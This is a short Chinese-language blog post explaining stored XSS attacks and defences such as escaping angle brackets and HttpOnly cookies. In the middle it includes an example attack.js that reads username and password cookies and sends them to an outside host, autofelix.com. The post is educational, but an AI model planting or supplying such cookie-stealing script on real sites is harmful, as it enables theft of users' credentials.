XSS攻击是怎么回事?记录一下


title: XSS攻击

date: 2023-08-27 19:15:57

tags: [XSS, 网络安全]

categories: 网络安全


今天学习了一个网络攻击的手段,XSS攻击技术,大家自建网站的朋友,记得看看是否有此漏洞。

🎈 XSS 攻击

全称跨站脚本攻击 Cross Site Scripting

为了与重叠样式表 CSS 进行区分,所以换了另一个缩写名称 XSS。

XSS攻击者通过篡改网页,注入恶意的 HTML 脚本,一般是 javascript,在用户浏览网页时,控制用户浏览器进行恶意操作的一种攻击方式。

XSS 攻击经常使用在论坛,博客等应用中。攻击者可以偷取用户Cookie、密码等重要数据,进而伪造交易、盗取用户财产、窃取情报等私密信息。

就像上图,如果用户在评论框中输入的并不是正常的文本,而是一段 javascript 脚本,而后台又没对该用户的数据进行处理,直接存入数据库,那么当其他用户过来访问该页面,浏览器必然会执行这段脚本

当然这只是恶趣味,而真正的黑客并不会仅仅满足这样的恶趣味,可能更多的是想通过这些 注入脚本,获取你的 个人信息 ,甚至是你的账号密码等信息。

由上图可知,用户其实在评论的时候,引入了一个第三方脚本,在这个脚本中获取你浏览器的 cookie 信息,并发送到指定的接口进行保存处理,这样你的信息就已经泄露了:

// attack.js 中的逻辑
var uname = $.cookie('username'); // 获取账号
var pwd = $.cookie('password'); // 获取密码

// 发送请求
$('body').appendTo('<script src=`http://autofelix.com/index.php?username=${uname}&password=${pwd}`></script>');

在上面逻辑中,脚本中获取了你的个人信息,并将你的个人信息发送到后端 php 文件中进行处理保存,这样你的个人信息就已经泄露了,所以杜绝 xss攻击 在网络安全中非常的重要

所以后端永远不要相信用户提交的数据,在接收用户提交的信息时候,要进行 消毒处理

也就是过滤一些特殊的字符,比如 javascript 脚本中的 <> 进行转移 <> 再进行存储,这样就能有效的进行 xss 攻击的预防

另外如果 cookie 中设置了 HttpOnly 属性,那么通过 js 脚本将无法读取到cookie 信息,这样也能有效的防止 XSS 攻击窃取 cookie 内容


好记性不如烂笔头。

相关推荐
奋斗吧程序媛1 小时前
headers为不同内容时的意义和使用场景
前端
MC何失眠1 小时前
vulnhub靶场【IA系列】之Keyring
网络·学习·web安全·网络安全
爽口泡菜1 小时前
Checkbox 多选框的使用
前端·javascript·vue.js
smart_dream1 小时前
【css】浏览器强制设置元素状态(hover|focus……)
前端·css
捻tua馔...1 小时前
归纳webpack
前端·webpack
fnd_LN2 小时前
HTML学习笔记记录---速预CSS(2) 复合属性、盒子模型、边框线、浮动、定位
前端·css·html
MC何失眠2 小时前
vulnhub靶场【IA系列】之Tornado
网络·python·学习·安全·web安全·网络安全
对自己不够狠2 小时前
HarMonyOS使用Tab构建页签
前端·华为·harmonyos
ordinary902 小时前
ESLint修正代码规范错误
前端·javascript·代码规范
无限大.2 小时前
理解AJAX与Axios:异步编程的世界
前端·ajax·okhttp